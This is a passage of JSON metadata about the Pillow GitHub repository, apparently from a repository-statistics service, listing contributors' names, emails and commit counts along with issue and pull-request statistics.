Martin","email":"zandrmartin","login":"zandrmartin","count":1},{"name":"Karim Bahgat","email":"karim.bahgat.norway@gmail.com","login":"karimbahgat","count":1},{"name":"Warren Weckesser","email":"warren.weckesser@gmail.com","login":"WarrenWeckesser","count":1},{"name":"Vincent Gao","email":"gaobing1230@gmail.com","login":"vincgao","count":1},{"name":"Ville Skyttä","email":"ville.skytta@iki.fi","login":"scop","count":1},{"name":"Tyler Garner","email":"garnertb@gmail.com","login":"garnertb","count":1},{"name":"Trần Bách","email":"45133811+barttran2k","login":"barttran2k","count":1},{"name":"TrellixVulnTeam","email":"charles.mcfarland@trellix.com","login":"TrellixVulnTeam","count":1},{"name":"Tommy","email":"4850853+wx00","login":"wx00","count":1},{"name":"Steven Myint","email":"git@stevenmyint.com","login":"myint","count":1},{"name":"Nathaniel Quillin","email":"github@nathanielquillin.com","login":"nqbit","count":1},{"name":"Ned Williamson","email":"nedwilliamson@gmail.com","login":"nedwill","count":1},{"name":"Nehal J Wani","email":"nehaljw.kkd1@gmail.com","login":"nehaljwani","count":1},{"name":"OCHIAI, Gouji","email":"gjo.ext@gmail.com","login":"gjo","count":1},{"name":"Omer Katz","email":"omer.drow@gmail.com","login":"thedrow","count":1},{"name":"PH-KDX","email":"smtp.python.email.sender@gmail.com","login":"PH-KDX","count":1},{"name":"Patrick Snape","email":"patricksnape@gmail.com","login":"patricksnape","count":1},{"name":"PavlNekrasov","email":"95914807+PavlNekrasov","login":"PavlNekrasov","count":1},{"name":"Mengxi-Xu","email":"109797814+Mengxi-Xu","login":"Mengxi-Xu","count":1},{"name":"Sandy","email":"bwrsandman@gmail.com","login":"bwrsandman","count":1},{"name":"Samuele Kaplun","email":"samuele.kaplun@cern.ch","login":"kaplun","count":1},{"name":"Pranjal","email":"pranjalmehta.career@gmail.com","login":"pranjalm37","count":1},{"name":"Raphael Vieira Rossi","email":"raphael.rossi@g.globo","login":"RaphaelVRossi","count":1},{"name":"Renat Nasyrov","email":"renat-nasyrov@yandex.ru","login":"Pehat","count":1},{"name":"Richard Barnes","email":"rbarnes@umn.edu","login":"r-barnes","count":1},{"name":"Ritika shrestha","email":"87307821+ritsth","login":"ritsth","count":1},{"name":"Peter Petrik","email":"zilolv@gmail.com","login":"PeterPetrik","count":1},{"name":"Rodrigo Benenson","email":"rodrigo.benenson@gmail.com","login":"rodrigob","count":1},{"name":"Rok Garbas","email":"rok@garbas.si","login":"garbas","count":1},{"name":"Roland Netzsch","email":"stuxcrystal","login":"stuxcrystal","count":1},{"name":"Ronald Oussoren","email":"ronaldoussoren@mac.com","login":"ronaldoussoren","count":1},{"name":"Rozie","email":"60040522+RoziePlaysPython","login":"RoziePlaysPython","count":1},{"name":"Sam Bourne","email":"sambvfx@gmail.com","login":"sambvfx","count":1},{"name":"Sam Gross","email":"colesbury@gmail.com","login":"colesbury","count":1},{"name":"Michael Constant","email":"mconst@gmail.com","login":"mconst","count":1},{"name":"Thomas Bechtold","email":"tbechtold@suse.com","login":"toabctl","count":1},{"name":"The Gitter Badger","email":"badger@gitter.im","login":"gitter-badger","count":1},{"name":"Sébastien Noel","email":"sebastien@twolife.be","login":"twolife","count":1},{"name":"Sumanth","email":"sumanthreddystar@gmail.com","login":"insumanth","count":1},{"name":"Frédéric Carron","email":"frederic.carron@prolistic.ch","login":null,"count":1},{"name":"Daniel D. Beck","email":"me@danieldbeck.com","login":null,"count":1},{"name":"Cimon Lucas (LCM)","email":"lucas_cimon@connect-tech.sncf","login":null,"count":1},{"name":"Chris Sinchok","email":"csinchok@theonion.com","login":null,"count":1},{"name":"Chris Hogan","email":"christopher.hogan@intel.com","login":null,"count":1},{"name":"Alex Po","email":"alex-86p@yandex.ru","login":null,"count":1},{"name":"William Jacobs","email":"billjjacobs@gmail.com","login":"btrekkie","count":1},{"name":"Ömer Kala","email":"kalaomer@hotmail.com","login":"kalaomer","count":1},{"name":"仓鼠","email":"zhuxx2003@gmail.com","login":"H4M5TER","count":1},{"name":"gnbl","email":"gnbl@github","login":"gnbl","count":1},{"name":"helloworld","email":"helloworld@gmail.com","login":"jaxx0n","count":1},{"name":"immerrr","email":"immerrr@gmail.com","login":"immerrr","count":1},{"name":"jbjd","email":"jimdemetris@yahoo.com","login":"jbjd","count":1},{"name":"joseville1001","email":"66519798+joseville1001","login":"joseville1001","count":1},{"name":"lmollea","email":"lmollea@yahoo.it","login":"molleafauss","count":1},{"name":"masklinn","email":"github.com@masklinn.net","login":"masklinn","count":1},{"name":"matt","email":"matt.a.boros@gmail.com","login":"mattBoros","count":1},{"name":"Yulv-git","email":"yulvchi@qq.com","login":"Yulv-git","count":1},{"name":"Zacharias Thompson","email":"zarlant@gmail.com","login":"zarlant","count":1},{"name":"neilnaveen","email":"42328488+neilnaveen","login":"neilnaveen","count":1},{"name":"nightcityblade","email":"jackchen@haloailabs.com","login":"nightcityblade","count":1},{"name":"nikmolnar","email":"nik.molnar@consbio.org","login":"nikmolnar","count":1},{"name":"pwohlhart","email":"paul@wohlhart.at","login":"pwohlhart","count":1},{"name":"smb123w64gb","email":"smb123w64gb@gmail.com","login":"smb123w64gb","count":1},{"name":"stuertz","email":"js@contact.de","login":"stuertz","count":1},{"name":"thak1411","email":"thak1411@gmail.com","login":"thak1411","count":1},{"name":"thisismypassport","email":"109758321+thisismypassport","login":"thisismypassport","count":1},{"name":"tyrannosaurus","email":"tyrannosaurus","login":"tyrannosaurus","count":1},{"name":"user","email":"nobody","login":"nobody","count":1},{"name":"wszqkzqk","email":"wszqkzqk@qq.com","login":"wszqkzqk","count":1},{"name":"mihail","email":"mihail@shinder.ml","login":"m-shinder","count":1},{"name":"Stéphane Klein","email":"stephane@harobed.org","login":"harobed","count":1},{"name":"ben","email":"bluepython508","login":"bluepython508","count":1},{"name":"ces42","email":"ces42","login":"ces42","count":1},{"name":"daquexian","email":"daquexian566@gmail.com","login":"daquexian","count":1},{"name":"void4","email":"void4.noreply@github.com","login":null,"count":1},{"name":"mete0r sarangbang","email":"mete0r@sarangbang.or.kr","login":null,"count":1},{"name":"markmiscavage","email":"mark.miscavage@ff0000.com","login":null,"count":1},{"name":"joaoxsouls","email":"joaoxsouls@gmail.com","login":null,"count":1},{"name":"hijackal","email":"hijackal@invalid","login":null,"count":1},{"name":"glexey","email":"alexey.a.gaidiukov@intel.com","login":null,"count":1},{"name":"dinko","email":"dinko.lubina@klarna.com","login":null,"count":1},{"name":"daniel","email":"daniel@daniel.com","login":null,"count":1},{"name":"cclauss","email":"cclauss@bluewin.ch","login":null,"count":1},{"name":"Zeev Tarantov","email":"zeev@initech.co.il","login":null,"count":1},{"name":"Virgil Dupras","email":"hsoft@hardcoded.net","login":null,"count":1},{"name":"Tom Gross","email":"tom@toms-projekte.de","login":null,"count":1},{"name":"Michael Nagy","email":"mnagy@voalte.com","login":null,"count":1},{"name":"Nikolas Stevenson-Molnar","email":"nik.molnar@gmail.com","login":null,"count":1},{"name":"Nicholas Jones","email":"njones@elys.com","login":null,"count":1},{"name":"navneeth","email":"navneeth@evo.local","login":null,"count":1},{"name":"MauveRanger","email":"mpeschel@outlook.com","login":null,"count":1},{"name":"Matti Picus","email":"gitmatti@picus.org.il","login":null,"count":1},{"name":"Matt R. Wilson","email":"matt.wilson@warbyparker.com","login":null,"count":1},{"name":"Julien Voisin","email":"jvoisin@google.com","login":null,"count":1},{"name":"John Harvey","email":"jpharvey@mythtv-server.(none)","login":null,"count":1},{"name":"Manuel Ebert","email":"Maebert@UOS.de","login":null,"count":1},{"name":"James Anderson","email":"james.r.andreson@utah.edu","login":null,"count":1},{"name":"Hood","email":"hood@mit.edu","login":null,"count":1},{"name":"Henrique Dante de Almeida","email":"henrique.almeida@lnls.br","login":null,"count":1},{"name":"George Thomas","email":"incredibleguy88@gmail.com","login":null,"count":1},{"name":"Garland Trice","email":"GTrice@hearsaycorp.com","login":null,"count":1},{"name":"Chris Brackert","email":"cbrackert@gmail.com","login":"hansmosh","count":1},{"name":"Christian Clauss","email":"cclauss@me.com","login":"cclauss","count":1},{"name":"Christian E. Hopps","email":"chopps@gmail.com","login":"choppsv1","count":1},{"name":"Clement Skau","email":"clementskau@gmail.com","login":"cskau","count":1},{"name":"Clément Robert","email":"cr52@protonmail.com","login":"neutrinoceros","count":1},{"name":"Corey Richardson","email":"corey@octayn.net","login":"emberian","count":1},{"name":"Damian Wrobel","email":"dwrobel@ertelnet.rybnik.pl","login":"dwrobel","count":1},{"name":"Dan McDougall","email":"daniel.mcdougall@liftoffsoftware.com","login":"liftoff","count":1},{"name":"Cees Timmerman","email":"CTimmerman","login":"CTimmerman","count":1},{"name":"Daniel Hahler","email":"github@thequod.de","login":"blueyed","count":1},{"name":"Daniel Harding","email":"dharding@living180.net","login":"living180","count":1},{"name":"David Cook","email":"divergentdave@gmail.com","login":"divergentdave","count":1},{"name":"David McKeone","email":"davidmckeone@gmail.com","login":"dmckeone","count":1},{"name":"David Miguel Susano Pinto","email":"carandraug+dev@gmail.com","login":"carandraug","count":1},{"name":"Dawid Crivelli","email":"d.crivelli@kontakt.io","login":"dawidcrivelli","count":1},{"name":"Deliang Yang","email":"yang623601391@gmail.com","login":"deliangyang","count":1},{"name":"Dmitry Selitsky","email":"d.v.selitsky@gmail.com","login":"dvska","count":1},{"name":"Dmitry Yantsen","email":"d.yantsen@gmail.com","login":"mrTable","count":1},{"name":"Domen Kožar","email":"domen@dev.si","login":"domenkozar","count":1},{"name":"Dominus Iniquitatis","email":"Iniquitatis","login":"Iniquitatis","count":1},{"name":"Don Spaulding","email":"donspauldingii@gmail.com","login":"donspaulding","count":1},{"name":"Eliot","email":"saltycrane@gmail.com","login":"saltycrane","count":1},{"name":"Elliott Sales de Andrade","email":"quantum.analyst@gmail.com","login":"QuLogic","count":1},{"name":"Erich Seifert","email":"dev@erichseifert.de","login":"eseifert","count":1},{"name":"Jani Šumak","email":"dasdachs","login":"dasdachs","count":1},{"name":"Fahrzin Hemmati","email":"fahhem","login":"fahhem","count":1},{"name":"Fariz Rahman","email":"farizrahman4u@gmail.com","login":"farizrahman4u","count":1},{"name":"Freek Dijkstra","email":"freek@macfreek.nl","login":"macfreek","count":1},{"name":"Frédéric Chapoton","email":"fchapoton2@gmail.com","login":"fchapoton","count":1},{"name":"Gabor Kertesz","email":"gabor.kertesz@arm.com","login":"gaborkertesz","count":1},{"name":"Brian Baumhover","email":"b.baumhover@gmail.com","login":"baumatron","count":1},{"name":"Adrian Carpenter","email":"adriatic.c@gmail.com","login":"adrian-the-git","count":1},{"name":"Alessio Sergi","email":"al3hex@gmail.com","login":"asergi","count":1},{"name":"Alex","email":"10421967+alexagv","login":"alexagv","count":1},{"name":"Alex Tedeschi","email":"60716244+AlexTedeschi","login":"AlexTedeschi","count":1},{"name":"Alexander Böhn","email":"fish2000@gmail.com","login":"fish2000","count":1},{"name":"Alexander Nordlund","email":"deep.alexander@gmail.com","login":"deepy","count":1},{"name":"Alexander Schier","email":"allo@laxu.de","login":"allo-","count":1},{"name":"Alexandru Chirila","email":"alex@alexkiro.com","login":"alexkiro","count":1},{"name":"Alexey Moiseitsev","email":"himeraster@gmail.com","login":"ubyte","count":1},{"name":"Alexey Shamrin","email":"shamrin@gmail.com","login":"shamrin","count":1},{"name":"Andreas Schwab","email":"schwab@suse.de","login":"andreas-schwab","count":1},{"name":"Andrew Kuchling","email":"amk@amk.ca","login":"akuchling","count":1},{"name":"AbdealiJK","email":"abdealikothari@gmail.com","login":"AbdealiLoKo","count":1},{"name":"Angelo Compagnucci","email":"angelo.compagnucci@gmail.com","login":"angeloc","count":1},{"name":"Arnie97","email":"arnie97@gmail.com","login":"Arnie97","count":1},{"name":"Aryaz Eghbali","email":"eghbali.aryaz@gmail.com","login":"AryazE","count":1},{"name":"Audrey Roy","email":"audreyr@gmail.com","login":"audreyfeldroy","count":1},{"name":"Bas Couwenberg","email":"sebastic@xs4all.nl","login":"sebastic","count":1},{"name":"Ben Williams","email":"ben@smash.mn","login":"Smashman","count":1},{"name":"Benjamin Le Forestier","email":"leforestier","login":"leforestier","count":1},{"name":"Bernardo Heynemann","email":"heynemann@gmail.com","login":"heynemann","count":1},{"name":"Bibin Hashley","email":"bibinhashley@gmail.com","login":"bibinhashley","count":1},{"name":"Bjorn","email":"bp@datakortet.no","login":"thebjorn","count":1},{"name":"Bogdan Kubala","email":"bogdan199@gmail.com","login":"bogdan199","count":1},{"name":"Bouke Haarsma","email":"bouke@webatoom.nl","login":"Bouke","count":1},{"name":"Andriy Sokolovskiy","email":"me@asokolovskiy.com","login":"coldmind","count":1},{"name":"Esteban Gehring","email":"esteban.gehring@gmail.com","login":"macjohnny","count":1},{"name":"Chris Adams","email":"chris@improbable.org","login":"acdha","count":1},{"name":"Chris Bailey","email":"c.bailey@bristol.ac.uk","login":"chrispbailey","count":1},{"name":"Kanglai Qian","email":"qiankanglai","login":"qiankanglai","count":1},{"name":"Jannis Leidel","email":"jannis@leidel.info","login":"jezdez","count":1},{"name":"Katie McLaughlin","email":"katie@glasnt.com","login":"glasnt","count":1},{"name":"Kipkurui Mutai","email":"hpetes69@gmail.com","login":"Kipkurui-mutai","count":1},{"name":"Kyle MacFarlane","email":"kyle@deletethetrees.com","login":"kylemacfarlane","count":1},{"name":"Kylian Ronfleux--Corail","email":"35237015+Kyliroco","login":"Kyliroco","count":1},{"name":"Lars Buitinck","email":"larsmans@gmail.com","login":"larsmans","count":1},{"name":"Lars Yencken","email":"lars@yencken.org","login":"larsyencken","count":1},{"name":"Lawrence Kesteloot","email":"lk@teamten.com","login":"lkesteloot","count":1},{"name":"Leonid Bloch","email":"leonid.bloch@esrf.fr","login":"blochl","count":1},{"name":"Liu Qishuai","email":"lqs@lqs.me","login":"lqs","count":1},{"name":"Lucas Cimon","email":"925560+Lucas-C","login":"Lucas-C","count":1},{"name":"Lukas Waymann","email":"meribold@gmail.com","login":"meribold","count":1},{"name":"Manoj Mohan","email":"m.manoj@linuxmail.org","login":"manoj-makkuboy","count":1},{"name":"Pete Couperus","email":"pjcoup@gmail.com","login":"petecoup","count":1},{"name":"Marc Mueller","email":"30130371+cdce8p","login":"cdce8p","count":1},{"name":"Marcel Telka","email":"marcel@telka.sk","login":"mtelka","count":1},{"name":"Marek Šuppa","email":"mr@shu.io","login":"mrshu","count":1},{"name":"Mark Harfouche","email":"mark.harfouche@gmail.com","login":"hmaarrfk","count":1},{"name":"Mark Laagland","email":"Bitblade","login":"Bitblade","count":1},{"name":"Mark Mayo","email":"mark@there.co.nz","login":"marksmayo","count":1},{"name":"Martijn Pieters","email":"mj@zopatista.com","login":"mjpieters","count":1},{"name":"Martin Fitzpatrick","email":"martin.fitzpatrick@gmail.com","login":"mfitzp","count":1},{"name":"Martin Packman","email":"gzlist@googlemail.com","login":"bz2","count":1},{"name":"Martin Thoma","email":"info@martin-thoma.de","login":"MartinThoma","count":1},{"name":"Mat Moore","email":"mwehtam@gmail.com","login":"MatMoore","count":1},{"name":"mixmastamyk","email":"mixmastamyk","login":"mixmastamyk","count":1},{"name":"Michał Nowotka","email":"mmmnow@gmail.com","login":"mnowotka","count":1},{"name":"Moriyoshi Koizumi","email":"mozo@mozo.jp","login":"moriyoshi","count":1},{"name":"Nathan Cahill","email":"nathan@nathancahill.com","login":"nathancahill","count":1},{"name":"Gabor Kertesz","email":"gabor.kertesz@linaro.org","login":"gaborkertesz-linaro","count":1},{"name":"Geka","email":"geka000@gmail.com","login":"Geka000","count":1},{"name":"Giovanni Cavallin","email":"37183651+mawanda-jun","login":"mawanda-jun","count":1},{"name":"Graham Markall","email":"gmarkall@nvidia.com","login":"gmarkall","count":1},{"name":"Grégoire Jadi","email":"daimrod@omecha.info","login":"daimrod","count":1},{"name":"Guillaume Ayoub","email":"guillaume+github@yabz.fr","login":"liZe","count":1},{"name":"Evert Rol","email":"evert.rol@gmail.com","login":"evertrol","count":1},{"name":"Harm.van.den.brand@alliander.com","email":"harm.van.den.brand@alliander.com","login":"HarmvandenBrand","count":1},{"name":"Hayato Ikoma","email":"hi.hayato.ikoma@gmail.com","login":"hayatoikoma","count":1},{"name":"Hijackal","email":"beckmann@uni-bonn.de","login":"becktob","count":1},{"name":"Hollow Man","email":"hollowman@hollowman.ml","login":"HollowMan6","count":1},{"name":"Hugo Posnic","email":"hugo.posnic@gmail.com","login":"Huluti","count":1},{"name":"Ilaï Deutel","email":"idtl@google.com","login":"ilai-deutel","count":1},{"name":"Istvan Fehervari","email":"gooksl@gmail.com","login":"ifeherva","count":1},{"name":"Ixio","email":"5647930+ixio","login":"ixio","count":1},{"name":"Jack Nagel","email":"jacknagel@gmail.com","login":"jacknagel","count":1},{"name":"Jakub Wilk","email":"jwilk@jwilk.net","login":"jwilk","count":1},{"name":"James Hilliard","email":"james.hilliard1@gmail.com","login":"jameshilliard","count":1},{"name":"James Le Cuirot","email":"chewi@gentoo.org","login":"chewi","count":1},{"name":"Hans-Peter Jansen","email":"hpj@urpla.net","login":"frispete","count":1},{"name":"Jason R. Coombs","email":"jaraco@jaraco.com","login":"jaraco","count":1},{"name":"Jay-Jay Aslan","email":"Johannes.Aslan98@gmail.com","login":"JayWiz","count":1},{"name":"Jeffery To","email":"jeffery.to@gmail.com","login":"jefferyto","count":1},{"name":"Jesus Cea","email":"jcea@jcea.es","login":"jcea","count":1},{"name":"Jim Garrison","email":"jim@garrison.cc","login":"garrison","count":1},{"name":"Jingxuan He","email":"LostBenjamin","login":"LostBenjamin","count":1},{"name":"Joe Hultgren","email":"jehultgren@gmail.com","login":"jhultgre","count":1},{"name":"John Kirkham","email":"kirkhamj@janelia.hhmi.org","login":"jakirkham","count":1},{"name":"Jonathan Michalon","email":"jmichalon","login":"jmichalon","count":1},{"name":"João S. O. Bueno","email":"gwidion@gmail.com","login":"jsbueno","count":1}],"past_year_committers":[{"name":"Andrew Murray","email":"radarhere","login":"radarhere","count":476},{"name":"Hugo van Kemenade","email":"1324225+hugovk","login":"hugovk","count":100},{"name":"Jeffrey 'Alex' Clark","email":"aclark@aclark.net","login":"aclark4life","count":54},{"name":"renovate[bot]","email":"29139614+renovate[bot]","login":"renovate[bot]","count":39},{"name":"Aarni Koskela","email":"akx@iki.fi","login":"akx","count":36},{"name":"pre-commit-ci[bot]","email":"66853113+pre-commit-ci[bot]","login":"pre-commit-ci[bot]","count":16},{"name":"wiredfool","email":"eric-github@soroos.net","login":"wiredfool","count":10},{"name":"Andrew Chen","email":"48723787+chuenchen309","login":"chuenchen309","count":4},{"name":"Kadir Can Ozden","email":"101993364+bysiber","login":"bysiber","count":3},{"name":"Meng","email":"meng.wang@cispa.de","login":"nevercodecorrect","count":3},{"name":"Frank Henigman","email":"fjhenigman@gmail.com","login":"fjhenigman","count":2},{"name":"Gareth Davidson","email":"gaz@bitplane.net","login":"bitplane","count":2},{"name":"Shadow_Lu","email":"xshadowlu13@gmail.com","login":"LuShadowX","count":2},{"name":"Varun Chawla","email":"varun_6april@hotmail.com","login":"veeceey","count":2},{"name":"Daniel Garcia Moreno","email":"daniel.garcia@suse.com","login":"danigm","count":2},{"name":"nyxst4ck","email":"nyxst4ck@gmail.com","login":"nyxst4ck","count":2},{"name":"DSeaStar","email":"172368758@qq.com","login":"DSeaStar","count":2},{"name":"Hayato Ikoma","email":"hi.hayato.ikoma@gmail.com","login":"hayatoikoma","count":1},{"name":"Mengxi-Xu","email":"109797814+Mengxi-Xu","login":"Mengxi-Xu","count":1},{"name":"Pranjal","email":"pranjalmehta.career@gmail.com","login":"pranjalm37","count":1},{"name":"Ritika shrestha","email":"87307821+ritsth","login":"ritsth","count":1},{"name":"Sam Gross","email":"colesbury@gmail.com","login":"colesbury","count":1},{"name":"Serotav","email":"132073089+Serotav","login":"Serotav","count":1},{"name":"Steve Dougherty","email":"steve@asksteved.com","login":"Thynix","count":1},{"name":"Trần Bách","email":"45133811+barttran2k","login":"barttran2k","count":1},{"name":"Vincent Gao","email":"gaobing1230@gmail.com","login":"vincgao","count":1},{"name":"Zhiyuan Ouyang","email":"tiancaioyzy@gmail.com","login":"zhiyuanouyang","count":1},{"name":"abhi-0203","email":"abhi-0203","login":"abhi-0203","count":1},{"name":"lukegb","email":"lukegb@google.com","login":"lukegb","count":1},{"name":"nightcityblade","email":"jackchen@haloailabs.com","login":"nightcityblade","count":1},{"name":"wszqkzqk","email":"wszqkzqk@qq.com","login":"wszqkzqk","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-20T00:00:10.776Z","repositories_count":6740034,"commits_count":975859012,"contributors_count":41146129,"owners_count":1356232,"committers_count":3349823,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"python-pillow/Pillow","html_url":"https://github.com/python-pillow/Pillow","last_synced_at":"2026-08-22T21:33:04.027Z","status":null,"issues_count":860,"pull_requests_count":2678,"avg_time_to_close_issue":12247984.85449358,"avg_time_to_close_pull_request":1549324.2993348115,"issues_closed_count":701,"pull_requests_closed_count":2255,"pull_request_authors_count":169,"issue_authors_count":690,"avg_comments_per_issue":7.088372093023255,"avg_comments_per_pull_request":1.156086631814787,"merged_pull_requests_count":2038,"bot_issues_count":3,"bot_pull_requests_count":164,"past_year_issues_count":72,"past_year_pull_requests_count":390,"past_year_avg_time_to_close_issue":1114555.189189189,"past_year_avg_time_to_close_pull_request":875200.4915966387,"past_year_issues_closed_count":37,"past_year_pull_requests_closed_count":238,"past_year_pull_request_authors_count":63,"past_year_issue_authors_count":59,"past_year_avg_comments_per_issue":3.888888888888889,"past_year_avg_comments_per_pull_request":1.182051282051282,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":31,"past_year_merged_pull_requests_count":210,"created_at":"2023-05-10T11:07:53.809Z","updated_at":"2026-08-22T21:33:04.027Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","issue_labels_count":{"table":{"Anaconda":81,"Windows":62,"Enhancement":53,"TIFF":52,"Installation":52,"Awaiting OP Action":47,"Question":44,"Stale":33,"JPEG":30,"Bug":30,"macOS":29,"Linux":28,"GIF":26,"Exif":24,"Duplicate":22,"Release":20,"Fonts":19,"Font Rendering":19,"Build":18,"NumPy":17,"Documentation":15,"Memory":14,"Palette":13,"Screen grab":10,"Testing":9,"WebP":9,"Conversion":9,"Type hints":7,"Dependency":6,"License":6,"Performance":5,"Regression":5,"Free-threading":4,"File Closing":3,"Platform":3,"BMP":2,"Invalid":2,"Library Linking":2,"Third Party Framework":2,"Needs Documentation":2,"Hasn't worked in 20 years":2,"Cool":1,"Needs Example":1,"Python 2-only":1,"🤖-assisted":1,"Infrastructure":1,"Ghostscript":1,"Cleanup":1,"Packaging":1,"Big-endian":1,"Deprecation":1}},"pull_request_labels_count":{"table":{"Testing":355,"Dependency":317,"Documentation":270,"Type hints":268,"Cleanup":170,"Windows":124,"automerge":101,"TIFF":99,"macOS":86,"Performance":63,"JPEG":60,"Build":57,"Linux":47,"Deprecation":37,"WebP":32,"Needs Rebase":32,"Free-threading":31,"🤖-assisted":29,"Palette":28,"Enhancement":27,"Exif":26,"NumPy":26,"Do Not Merge":22,"GIF":21,"Screen grab":15,"Removal":14,"License":14,"Conversion":13,"Fonts":10,"Needs Tests":9,"Font Rendering":9,"Qt":8,"Memory":8,"changelog: skip":7,"Bug":7,"BMP":7,"Release":6,"Packaging":4,"Needs Documentation":3,"dependencies":3,"File Closing":3,"Ghostscript":2,"Needs Review":2,"Needs Release Notes":2,"Infrastructure":2,"Duplicate":2,"Stale":1,"javascript":1,"Invalid":1,"Installation":1,"Awaiting OP Action":1}},"issue_author_associations_count":{"table":{"NONE":726,"CONTRIBUTOR":76,"MEMBER":58}},"pull_request_author_associations_count":{"table":{"MEMBER":2036,"CONTRIBUTOR":496,"NONE":146}},"issue_authors":{"table":{"nissansz":24,"hugovk":20,"radarhere":19,"Yay295":14,"aclark4life":13,"stefan6419846":6,"monkeycc":5,"CoinCheung":4,"wiredfool":4,"nevercodecorrect":4,"eroux":4,"sl2c":4,"kporangehat":3,"CTimmerman":3,"freakboy3742":3,"gabe-sherman":3,"cmahnke":3,"TS53":3,"bigcat88":3,"ahmed4end":3,"karasovsky":2,"anntzer":2,"DonaldTsang":2,"stas00":2,"denilsonsa":2,"vpv-csc":2,"jsbueno":2,"retsyo":2,"burning-star-x":2,"ckanaar":2,"heitbaum":2,"kulikjak":2,"gsingh93":2,"AlttiRi":2,"AbdealiLoKo":2,"yoboy1102":2,"OvervCW":2,"kamocat":2,"homm":2,"xiaoyzhou":2,"daeeros":2,"luohao123":2,"FirefoxMetzger":2,"kmilos":2,"liaochris":2,"burghoff":2,"renovate[bot]":2,"smason":2,"petsuter":2,"natuan62":2,"quaeast":2,"paulocoutinhox":2,"Knio":2,"LewisCowlesMotive":2,"jleclanche":2,"pubpub-zz":2,"gverm":2,"rakeshvar":2,"davidmezzetti":2,"ghost":2,"lucach":2,"worthlesscog":2,"lysnikolaou":2,"julin69":2,"flagadum":2,"upcloud":1,"JamesJGarner":1,"dmpetrov":1,"varenc":1,"AlphonsG":1,"kdswle":1,"ricaun":1,"blayzen-w":1,"echo-lalia":1,"pranphy":1,"mickvangelderen":1,"jerb6":1,"nicolasch96":1,"raphaelm":1,"amdepott":1,"K0lb3":1,"limafresh":1,"braindevices":1,"geoawd":1,"muruga86":1,"sergedurand":1,"CY-Qiu":1,"ulfllorenz":1,"Grise3":1,"hholst80":1,"defgsus":1,"mightylastingcode":1,"muxkin":1,"IrfanFathan":1,"smallbrian":1,"Siniara":1,"OskarPersson":1,"VoroninArtemii":1,"mrbean-bremen":1,"NogginBops":1,"SolarLiner":1,"codingjoe":1,"Louis-de-Bontin":1,"chinery":1,"henu":1,"missionfloyd":1,"Mimi-py":1,"moonsterr":1,"zikkuratti":1,"neiljp":1,"ngoldbaum":1,"rowillia":1,"aodag":1,"yoramzarai":1,"anloubie2":1,"hwkin":1,"eichin":1,"Botgamerns10s":1,"BorScho":1,"matthias-k":1,"manycoding":1,"HTG-YT":1,"BootsManOut":1,"ddale":1,"bungoume":1,"cubeserverdev":1,"CSchulzeTLK":1,"Zero960612":1,"Jvr2022":1,"kif":1,"skupr-anaconda":1,"dwt":1,"junqfisica":1,"jranalli":1,"dragazo":1,"rathaROG":1,"zxpatric":1,"fish-ball":1,"AdrianoVM":1,"yinkaisheng":1,"danny0838":1,"DexterHill0":1,"Pratham31":1,"a-alak":1,"apacha":1,"laynr":1,"gronostajo":1,"pkainz":1,"krishnasrikard":1,"jvanasco":1,"TheValemagne":1,"zxbzxb180":1,"deepio":1,"austingg":1,"pauloswear":1,"ajslater":1,"demoutrei-work":1,"misaka-10032":1,"Wakotu":1,"tatarize":1,"v-python":1,"ctkhanhly":1,"nulano":1,"KMKnation":1,"dtoniolo":1,"xTheWhiteTigerx":1,"guillaume-rochette-oxb":1,"diyangzyft":1,"mmemoo":1,"jakevdp":1,"dxsooo":1,"Olegt0rr":1,"CGDogan":1,"vishnudas-bluefox":1,"mucmch":1,"SvarunSoda":1,"upcFrost":1,"MayankFawkes":1,"miltonllera":1,"adriens":1,"bfontaine":1,"ianovert":1,"violuke":1,"payne92":1,"nathaniel-daniel":1,"aneenaanna26":1,"jbeghtol":1,"RolandKaechele":1,"SIR-X":1,"aleooo":1,"bryghtlabs-richard":1,"Sissel-Ng":1,"stephen-huan":1,"JulianNotFound":1,"lucalista":1,"likeca":1,"felixonmars":1,"musicinmybrain":1,"Markxy":1,"yasircodingcrafts":1,"Kodiologist":1,"doublex":1,"AllanChain":1,"ArcasCZ":1,"georgthegreat":1,"pkgw":1,"karolyi":1,"gguerreiro":1,"niklashenning":1,"iperminov-mythic":1,"xtagon":1,"derVedro":1,"JoerivanEngelen":1,"agiudiceandrea":1,"wRAR":1,"arve0":1,"TheAnkurGoswami":1,"qomhmd":1,"Caio-Giulio-Cesare":1,"manigoad":1,"miathegaymer":1,"hackerDashDash":1,"malaterre":1,"johnnyleitrim":1,"gregorni":1,"johannesnoordanus":1,"xAli-1":1,"arry-lee":1,"alexisgaziello":1,"laggron42":1,"FurkanGozukara":1,"ponponon":1,"kevinrue":1,"Romain-Thomas-Shef":1,"Yuvi-416":1,"muitdebos":1,"kim-taewoo":1,"Jasonlee1995":1,"bouncehead13":1,"dogtopus":1,"andymcblane":1,"leo20160311":1,"Cimbali":1,"johnsunxu":1,"guitar9":1,"kkopachev":1,"nabobalis":1,"playnet":1,"palanceli":1,"wlt233":1,"andreymal":1,"sanbuphy":1,"elipsitz":1,"structurefall":1,"Fity":1,"omametech":1,"shubhampateliitm":1,"songyuc":1,"Adham-A":1,"SPIN04":1,"asif-ca":1,"xqt":1,"alienth":1,"stefmolin":1,"Ykid":1,"chrisrapson":1,"JakobDev":1,"jeremydmoore":1,"xan-der":1,"pre-commit-ci[bot]":1,"konbraphat51":1,"Impasse52":1,"DigitalGreyHat":1,"tk0miya":1,"Irishsmurf":1,"espressolee":1,"drfraser":1,"patrick23-commits":1,"rominf":1,"kurt-rhee":1,"Mar2ck":1,"bryankaplan":1,"felixniemeyer":1,"holawholaw":1,"Kawasaki5963":1,"za3k":1,"Bodundeft":1,"MvGulik":1,"cubecsaba":1,"sminjard":1,"fh-katherinebargar":1,"Zengyf-CVer":1,"elemental-admin-dev":1,"Fogapod":1,"linustws":1,"ProfessorHubble":1,"zdyj3170101136":1,"hajimen":1,"wagenrace":1,"mvanlierBCG":1,"thebes